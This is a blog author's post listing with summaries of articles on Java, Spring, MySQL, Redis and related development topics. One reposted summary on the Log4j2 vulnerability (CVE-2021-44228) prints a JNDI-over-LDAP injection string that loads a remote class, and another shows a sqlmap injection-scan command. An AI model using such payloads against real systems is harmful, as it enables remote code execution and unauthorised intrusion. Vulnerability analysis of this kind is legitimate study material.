- 博客(66)
- 资源 (2)
- 收藏
- 关注
原创 Spring Boot 开发常见问题及解决方案汇总
问题分析:Spring Boot 自动配置非常强大,但有时会与开发者的自定义配置发生冲突,导致应用程序行为不符合预期。解决方案优先级调整:通过@Primary注解,可以指定某个 Bean 为默认 Bean,以解决多个 Bean 的注入冲突。@Bean@Primary条件加载:通过或注解控制某些 Bean 是否被加载。@BeanSpring Boot 简化了 Java 应用的开发流程,但也带来了一些新挑战。
2024-10-23 15:11:58
1266
1
原创 MySQL 数据备份与恢复指南
MySQL 数据备份与恢复是保障业务连续性和数据安全的关键环节。掌握并灵活运用mysqldumpXtraBackup和 binlog 等工具,可以帮助 DBA 构建可靠的备份机制。同时,备份和恢复的自动化与常规测试也是确保数据安全不可忽视的部分。希望本文能帮助到你更好地进行 MySQL 数据的管理与运维。
2024-10-23 15:04:19
1026
原创 深入了解 Spring Cloud Netflix:功能、使用与原理
Eureka:服务注册与发现。Ribbon:客户端负载均衡。Feign:声明式服务调用。Hystrix:断路器,提供容错管理。Zuul:API 网关,提供动态路由、监控、弹性、安全等边缘服务。Spring Cloud Netflix 提供了一系列强大的工具,帮助开发者构建健壮的分布式系统。通过 Eureka 实现服务注册与发现,Ribbon 和 Feign 实现负载均衡和服务调用,Hystrix 提供容错机制,Zuul 作为 API 网关,这些组件相互配合,共同构建高可用、高性能的微服务架构。
2024-07-22 14:41:09
1446
原创 深入理解 Java 的字符串常量池
字符串常量池是 JVM 中的一块特殊内存区域,用于存储所有字符串字面量(即在代码中直接写出的字符串常量)和通过某些方法(如)显式添加的字符串。在 JDK 7 及以后的版本中,这个池被移到了堆内存中,而在之前的版本中,它是方法区的一部分。字符串常量池是 Java 内存管理中的一个重要特性,通过理解其工作机制,我们可以更有效地编写高性能的 Java 应用程序。通过避免重复字符串的创建和使用,可以大大减少内存消耗并提高程序的运行效率。
2024-07-22 14:28:37
343
原创 如何写出好的ChatGPT提示词:提升生成效果的实用指南
提示词是用户提供给ChatGPT的一段文本,它指导AI生成相应的回应。提示词可以是一个问题、一段描述、一系列指令,甚至是一段背景信息。提示词的质量直接影响到生成结果的质量。
2024-07-18 13:50:22
423
原创 生成式AI的方向:Chat还是Agent?
生成式人工智能(Generative AI)正迅速成为技术领域的热点,它不仅仅局限于学术研究,而是逐渐渗透到我们的日常生活中。从文本生成、图像生成到对话生成,生成式AI的应用场景日益丰富。在这个充满潜力的领域,有两个主要的发展方向引起了广泛关注:Chat和Agent。本文将深入探讨这两个方向,并分析它们的前景和应用。
2024-07-18 10:07:45
842
原创 探索Java 17的新特性:提升开发效率的秘密武器
随着Java 17的发布,Java开发者迎来了许多令人激动的新特性和改进。作为一个长期支持(LTS)版本,Java 17 将在未来几年内成为许多项目的首选。本文将深入探讨Java 17的主要新特性,并展示如何利用这些特性提升开发效率。
2024-07-16 17:51:08
414
原创 探索Java设计模式:构建高效、可维护的软件架构
在软件开发中,设计模式是一种经过验证的解决方案,用于解决常见的设计问题。设计模式不仅提高了代码的可维护性和可重用性,还能帮助开发者遵循最佳实践,构建高效且灵活的软件架构。本文将带你深入了解几种常见的Java设计模式,包括创建型、结构型和行为型模式,并展示它们在实际开发中的应用。
2024-07-16 17:46:18
574
原创 MacOS 上安装和管理 Node.js
通过上述步骤,您已经成功在 macOS 上安装并配置了 NVM,并使用它来管理 Node.js 的不同版本。这不仅使得 Node.js 版本的切换和管理更加方便,也确保了您在开发不同项目时可以轻松地使用适合的 Node.js 版本。希望这篇指南对您有所帮助!
2024-06-25 23:04:58
1101
2
转载 Log4j2远程代码执行漏洞分析及例子
0x00 介绍Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告(莫羽师傅挖到的)分配CVE编号:CVE-2021-44228CVSS评分:10.0(最高只能10分)POC比较简单public static void main(String[] args) throws Exception { logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");}POC虽然简单,但是
2021-12-11 17:35:12
1442
转载 mysql redo log
数据库故障恢复机制的前世今生一文中提到,今生磁盘数据库为了在保证数据库的原子性(A, Atomic) 和持久性(D, Durability)的同时,还能以灵活的刷盘策略来充分利用磁盘顺序写的性能,会记录REDO和UNDO日志,即ARIES方法。本文将重点介绍REDO LOG的作用,记录的内容,组织结构,写入方式等内容,希望读者能够更全面准确的理解REDO LOG在InnoDB中的位置。本文基于MySQL 8.0代码。一 为什么需要记录REDO为了取得更好的读写性能,InnoDB会将数据缓存.
2021-11-05 10:10:00
235
原创 sqlmap-sql注入检测
SqlMap(防sql注入)使用手册下载地址:Download and update · sqlmapproject/sqlmap Wiki · GitHub下载后无须安装依赖:需要有python2.6, 2.7or 3.x的使用:在sqlmap的目录下 ,使用 python sqlmap.py -u http://localhost:8080/api/testSqlInjectWithCompile?phone=18810652812-u表示要测试的url出现...
2021-10-15 12:07:02
2178
原创 一些值得记录的工具类
注:仅仅作为自己记录使用guavaMultimap 一个key可以映射多个value的HashMap,多省事,多简洁,省得你再创建 Map<String, List>Multimap<String,Integer>map=ArrayListMultimap.create();map.put("key",1);map.put("key",2);Collection<Integer>values=map.get("key");...
2021-06-30 10:36:50
108
原创 Mysql MVCC(多版本并发控制)原理解析
查看表的信息:可以通过 show table status 此命令看到表的信息:name(表名)、engine(存储引擎)、version(版本,暂不知道是什么版本)、row_format(行的格式:和存储引擎有关)、rows(行数)、avg_row_length(平均每条数据的字节数)、data_length(表数据的总字节数)、max_data_length(表数据的最大容量,与存储引擎有关)、index_length(索引长度)、data_free(已分配但是未使用的空间)、auto_increm
2021-06-27 11:31:16
435
1
原创 java agent
看到一个不错的博文,记录一下,以便后续查看。https://blog.youkuaiyun.com/liuyueyi25/article/details/104640588
2021-04-27 20:05:34
211
原创 序列化协议protobuf的解释及使用
背景:项目中看到有同事用到的protobuf,本着学习的精神来看一下这是什么?为什么使用它。先从官网了解了一下:https://developers.google.com/protocol-buffers是什么?Google推出的一个序列化的协议。通过定义一个.proto的数据结构化的文件,编译生成一个class,class会暴露getset等方法,方法里面通过二进制的方式进行序列化。为什么使用它?现在我自己经常用到的序列化也就是这几种,Serializable、自定义的序列化协议(公司
2021-04-06 13:38:29
828
原创 ArrayList.subList注意点
平时经常用到ArrayList.subList进行list的截取,发现里面有一些注意点,记录一下 List<Integer> oldList = new ArrayList<Integer>(){{add(1);add(2);add(3);}}; List<Integer> newList = oldList.subList(1, 2); SubList返回的是原list的视图,并不是创建了一个新的集合 public Lis
2021-03-30 10:07:16
282
原创 mybatis 一级缓存与二级缓存
背景:一直没关注过mybatis的一级缓存与二级缓存是什么,以及怎么使用的。最近由于mybatis二级缓存导致内存泄漏的问题,使得自己抽出时间来看了一下。先说一级缓存,作用域一个sqlSession,在同一个sqlSession中,相同的sql第一次查询时会查询数据库并缓存起来,放到hashMap中,第二次的时候会直接从hashMap中读取数据。二级缓存是作用域是sqlSessionFactory,一级缓存作用域只是一个sqlSession,如果需要多个sqlSession共享的话,需要用到二级
2021-01-25 14:52:54
297
转载 Linux top参数详解
top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器top参数详解第一行,任务队列信息,同 uptime 命令的执行结果系统时间:07:27:05运行时间:up 1:57 min,当前登录用户: 3 user负载均衡(uptime) load average: 0.00, 0.00, 0.00 average后面的三个数分别是1分钟、5分钟、15分钟的负载情况。load average数据是每...
2021-01-20 10:34:42
561
原创 cpu过高问题定位及解决
1 top 查找进程号2 top -H -p 进程号 获取进程中cpu占用过高的线程,按cpu占用倒叙排列3 jstack 进程号 > a.stack 连接到该进程,将此时该进程的栈信息存储4 printf %0x 线程号 将第二步骤占用cpu高的线程号拿过来,转换为16进制5 cat a.stack |grep -A 100转储堆快照: jmap -dump:format=b,file=文件名 [pid]...
2021-01-18 16:21:44
372
原创 redisson分布式锁源码解析
近期用到分布式锁,选用了redissio,选用的原因:封装,实现了锁的重入,锁自动续期、防止超时机制、使用方便易上手(实现了JUC的lock接口)先看一下简单使用(需要在finally中手动释放锁):@Test public void testRedisson() throws Exception{ String test = "testLock"; RLock lock = null; try { lock = re
2021-01-08 17:06:33
438
原创 mysql 排序规则
场景:最近在做查询的时候,无意中发现与预期的结果不一样,通过使用‘广汽菲克jeep’作为查询条件查询数据,可以查到‘广汽菲克Jeep’。如下:查了一下才知道是mysql的排序规则导致的。看一下测试环境数据库的设置:show variables;可以看到采用的字符集是utf8mb4,排序规则是utf8mb4_general_ci。查了一下官方的文档,表示一个字符集至少可以有一个排序规则,可以通过SHOW COLLATION 查看字符集以及对应的排序规则,utf8mb4对应的排..
2020-11-10 17:51:14
831
1
原创 初识MongoDB(一) mongodb基本操作
使用背景:项目中需要存储一些下游的需求,需求的的格式是个树形的格式,例如某个需求里面包含n个城市某个品牌某个车系,可以简化成下图。(只是作为使用场景来分析,可以跳过)按照关系型数据库来说的话,有两种方案:1 需要3张表来实现下面的机构需要需求表存储需求的基本信息,需求和城市的关联表(一个需求对多个城市),需求、城市、车系的关联关系表(一个城市的某个需求下面有多个车系)。2 一张表存储:一个需求对应多行记录,每行记录中的最小粒度是城市,城市中的车系用逗号拼接。如下图:需求id 城
2020-10-06 14:19:32
1214
原创 Mac 安装brew及使用
通过官网下载brew时,要么是超时,要么是拒绝连接,困扰了好一会,突然看到一篇文档,通过镜像加速访问和下载,感觉挺有用,所以转过来,记录一下。Homebrew是一款包管理工具,目前支持macOS和linux系统。主要有四个部分组成:brew、homebrew-core、homebrew-cask、homebrew-bottles。本文主要介绍Homebrew安装方式以及如何加速访问,顺便普及一些必要的知识。1. 脚本说明Homebrew默认安装脚本:/usr/bin/ruby ..
2020-08-10 18:45:51
340
原创 记一次redis迁移遇到CPU占用过高问题
背景:项目需要做wredis到redis的数据迁移,考虑到三种方案:1 redis和wredis同时写,读的时候根据配置选择从redis还是wredis读取数据。2 通过wredis到redis的数据同步,代码中直接修改redis的地址。3 通过scan的方式扫描redis中的数据,再通过Pipeline的方式写入。对比了一下方案的优缺点:1 缺点是时间成本高,业务中有些数据过期时间长,切换周期长;优点是可以平滑切换;2 缺点是需要dba的同学配合,如果遇到问题,不好回退(仅仅是
2020-08-08 16:29:54
837
原创 mysql常见函数总结
看到一篇公司大佬在公司内部博客上发表的mysql常见函数,觉得对自己有用,所以转过来,希望也可以对大家有用。本文对MySQL常用函数进行了分类整理:日期和时间函数、数学函数、字符串函数、条件判断函数、系统信息函数、加密函数等,大家可以作为字典查询和使用。一.日期和时间函数1.NOW()作用:返回当前的日期和时间示例:2.DATE(date)作用:返回当前日期示例:3.CURDATE()作用:返回当前日期示例:4.CURTIME()作用:返回..
2020-07-22 15:51:15
373
转载 Random与ThreadLocalRandom 解析
问题:既然已经有了Random为什么还需要ThreadLocalRandom?正文Random是使用最广泛的随机数生成工具了,即使连 Math.random()的底层也是用 Random实现的 Math.random()源码如下:可以看出 Math.random()直接指向了 Random.nextDouble()方法。Random使用这开始之前,我们先来了解一下 Random的使用。Random random = new Random();...
2020-07-20 18:39:50
537
转载 git rebase 成功之后如何撤销
git rebase 过程中可以使用git --abort/--continue来进行操作,成功之后如何撤销呢?首先执行git reflog查看本地记录可知本次rebase之前的id 为:02a3260 HEAD@{9}: commit: adjust ds5 ir data save file formate所以执行git reset --hard02a3260即可...
2020-07-01 15:28:46
1238
原创 日志框架 SLF4j
是什么:SLF4J,即简单日志门面(Simple Logging Facade for Java),不是具体的日志解决方案,它只服务于各种各样的日志系统。按照官方的说法,SLF4J是一个用于日志系统的简单Facade,允许最终用户在部署其应用时使用其所希望的日志系统为什么:在java.util.logging, logback, log4j等日志系统存在的基础上,为什么要用slf4j框架作为一个门面呢?SLF4J 是一个日志抽象层,允许你使用任何一个日志系统,并且可以随时切换还不需要动到已经
2020-07-01 14:30:30
685
转载 SpringBoot源码解析-Bean的加载与自动化配置
springboot作为一个基于spring开发的框架,自然也继承了spring的容器属性。容器中的bean自然成为了springboot各种功能的基础。本节就来分析一下springboot如何将各种bean加载进容器中。开始分析之前首先我们先概览一下springboot框架究竟加载了多少bean。在main函数中添加如下代码,运行。public static void main(String[] args) { ApplicationContext context = Sprin
2020-06-28 15:35:31
497
OOM实战 (一)
概念:OOM,全称“Out Of Memory”,翻译成中文就是“内存用完了”,来源于java.lang.OutOfMemoryError。看下关于的官方说明:Thrown when the Java Virtual Machine cannot allocate an object because it is out of memory, and no more memory could be made available by the garbage collector. 意思就是说,当JVM因为.
2020-05-28 23:16:24
325
原创 池化技术-数据库连接池
概述什么是连接池1)先讲一下“池”, 池(Pool)技术在一定程度上可以明显优化服务器应用程序的性能,提高程序执行效率和降低系统资源开销。这里所说的池是一种广义上的池,比如数据库连接池、线程池、内存池、对象池等。其中,对象池可以看成保存对象的容器,在进程初始化时创建一定数量的对象。需要时直接从池中取出一个空闲对象,用完后并不直接释放掉对象,而是再放到对象池中以方便下一次对象请求可以直接复用。其他几种池的设计思想也是如此,池技术的优势是,可以消除对象创建所带来的延迟,从而提高系统的性能。为什么要使用
2020-05-15 12:19:15
644
转载 springcloud 与springboot版本对应关系
链接:https://start.spring.io/actuator/info相关部分格式化后就是下面这个了"spring-cloud": { "Finchley.M2": "Spring Boot >=2.0.0.M3 and <2.0.0.M5", "Finchley.M3": "Spring Boot >=2.0.0.M5 and <=2.0.0.M5", "Finchley.M4": "Sprin...
2020-05-14 21:21:01
1668
原创 java 代理模式使用与原理
概念:通俗来讲:中介、黄牛等都是一种代理,他们有你的信息,来为你提供额外的支持。映射到程序上来讲就是代理对象持有被代理对象的引用,以控制对这个对象的访问。代理类和委托类有共同的父类或父接口,这样在任何使用委托类对象的地方都可以用代理对象替代。代理类负责请求的预处理、过滤、将请求分派给委托类处理、以及委托类执行完请求后的后续处理。代理分为静态代理和动态代理静态代理静态就是在程序运行前就已经存在代理类的字节码文件,代理类和委托类的关系在运行前就确定了租客接口public int..
2020-05-10 11:02:18
184
转载 迭代器-快速失败与安全失败
快速失败(fail—fast) 在用迭代器遍历一个集合对象时,如果遍历过程中对集合对象的内容进行了修改(增加、删除、修改),则会抛出Concurrent Modification Exception。原理:迭代器在遍历时直接访问集合中的内容,并且在遍历过程中使用一个 modCount 变量。集合在被遍历期间如果内容发生变化,就会改变modCount的值...
2020-04-16 11:03:36
363
原创 mysql 索引命中与索引优化
闲来无事想看看数据库得索引,于是就需要造一些数据,为了保证测试的有效性,所以决定使用存储过程来造一些数据。好久没写过了,特记录一下。drop procedure if exists data_insert;DELIMITER $$ CREATE PROCEDURE data_insert()BEGIN DECLARE i int unsigned DEFAULT 0...
2020-04-04 21:35:33
881
2
原创 日期控件 datetimepicker
项目中需要用到日期控件时,可以选择使用 bootstrap-datetimepicker.js。使用方法:<input type="text" id="triggerTimeAppoint" />$('#triggerTimeAppoint').datetimepicker({ minView: "month", //不选择时间 language: ...
2020-03-11 11:29:32
929
Java17+ JavaFX + Spring Boot + mybatis + jpackage 一键打包exe无需命令
2024-10-22
Eclipse MAT:Java内存分析的必备中文指南
2024-07-16
bootstrap-datetimepicker.fr.js
2019-05-15
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人